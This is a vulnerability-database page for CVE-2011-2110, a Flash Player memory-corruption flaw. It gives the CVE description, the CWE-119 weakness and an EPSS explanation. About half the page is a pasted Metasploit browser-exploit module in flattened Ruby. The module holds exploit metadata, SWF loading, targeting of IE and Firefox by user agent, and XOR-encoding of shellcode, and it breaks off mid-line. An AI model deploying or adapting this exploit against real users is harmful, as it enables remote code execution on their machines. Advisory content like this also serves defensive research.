CVE Descriptions

Adobe Flash Player before 10.3.181.26 on Windows, Mac OS X, Linux, and Solaris, and 10.3.185.23 and earlier on Android, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, as exploited in the wild in June 2011.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

This issue is caused by a failure in the ActionScript3 AVM2 verification logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same vulnerability that was used for attacks against Korean based organizations. Specifically, this issue occurs when indexing an array using an arbitrary value, memory can be referenced and later executed. Taking advantage of this issue does not rely on heap spraying as the vulnerability can also be used for information leakage. Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and is very reliable. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit, 'Unknown' # malware version seen used in targeted attacks ], 'Version' => '$Revision$', 'References' => [ ['CVE', '2011-2110'], ['OSVDB', '48268'], ['URL', 'http://www.adobe.com/devnet/swf.html'], ['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'], ['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'], ['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {}], ], 'DisclosureDate' => 'Jun 21 2012', 'DefaultTarget' => 0)) end def exploit # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as # full aslr/dep bypass using the info leak as per malware path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" ) fd = File.open( path, "rb" ) @swf = fd.read(fd.stat.size) fd.close super end def check_dependencies use_zlib end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /MSIE/ return targets[0] # ie 6/7/8 tested working elsif agent =~ /Firefox/ return targets[0] # ff 10.2 tested working else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end xor_byte = 122 trigger = @swf trigger_file = rand_text_alpha(rand(6)+3) + ".swf" code = rand_text_alpha(rand(6)+3) + ".txt" sc = Zlib::Deflate.deflate(payload.encoded) shellcode = "" sc.each_byte do | c | shellcode << (xor_byte ^ c) end uri = ((datastore['SSL']) ?
